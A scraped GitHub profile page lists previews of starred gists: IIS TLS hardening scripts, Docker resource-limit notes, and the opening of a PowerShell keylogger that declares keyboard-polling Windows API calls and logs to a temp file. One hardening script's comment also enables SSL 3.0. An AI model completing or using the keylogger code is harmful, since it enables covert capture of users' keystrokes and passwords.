Skip to content

Instantly share code, notes, and snippets.

View aric89's full-sized avatar

Aric aric89

  • Minnesota
  • 08:17 (UTC -05:00)
View GitHub Profile
@hsiboy
hsiboy / setup_ssl.ps1
Last active August 4, 2022 17:38
A PowerShell script to setup your Microsoft Internet Information Server 7.5 & 8.0 for TLS 1.1 & TLS 1.2 with "Forward secrecy" while disabling insecure SSL2 and weak ciphers.
# This PowerShell script setups your Microsoft Internet Information Server 7.5 and
# 8.0 (IIS) to support TLS 1.1 and TLS 1.2 protocol with Forward secrecy.
#
# Additionally it disables insecure SSL2 and all insecure and weak ciphers.
# requitres a system restart to apply changes.
# Add and Enable SSL 3.0 for client and server SCHANNEL communications
md 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0' -Force
md 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server' -Force
New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
@dasgoll
dasgoll / gist:7ca1c059dd3b3fbc7277
Created December 11, 2015 16:44
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
@jbratu
jbratu / setupiisforsslperfectforwardsecrecy_v17.ps1
Last active January 17, 2025 10:17
Great powershell script for tightening HTTPS security on IIS and disabling insecure protocols and ciphers. Very useful on core installations.
# Copyright 2019, Alexander Hass
# https://www.hass.de/content/setup-microsoft-windows-or-iis-ssl-perfect-forward-secrecy-and-tls-12
#
# After running this script the computer only supports:
# - TLS 1.2
#
# Version 3.0.1, see CHANGELOG.txt for changes.
Write-Host 'Configuring IIS with SSL/TLS Deployment Best Practices...'
Write-Host '--------------------------------------------------------------------------------'
@jpcaparas
jpcaparas / References
Last active January 16, 2025 14:09
Limit docker CPU and memory resource usage
Inspired by: https://stackoverflow.com/questions/46408673/docker-17-06-ce-default-container-memory-limit-on-shared-host-resources/46557336#46557336
@ryderstorm
ryderstorm / limit_docker_resource_usage_on_linux.md
Last active September 16, 2024 09:03
Limiting docker resource usage on Linux

The Problem

Linux doesn't have a dedicated Docker application like Windows and OSX that allows you to easily place resource constraints on the docker daemon. So if you spin up a bunch of resource hungry containers, it'll slow your computer to a crawl and/or start a fire.

Observe the Problem

Uses the image from https://hub.docker.com/r/polinux/stress to see the issue in practice. Run these beforehand to see just how much CPU/RAM docker can take up, and then run them making the adjustments below to see how the docker containers get limited.

You'll want to install ctop and have it running to be able to monitor the container usage:

sudo wget https://github.com/bcicen/ctop/releases/download/v0.7.3/ctop-0.7.3-linux-amd64 -O /usr/local/bin/ctop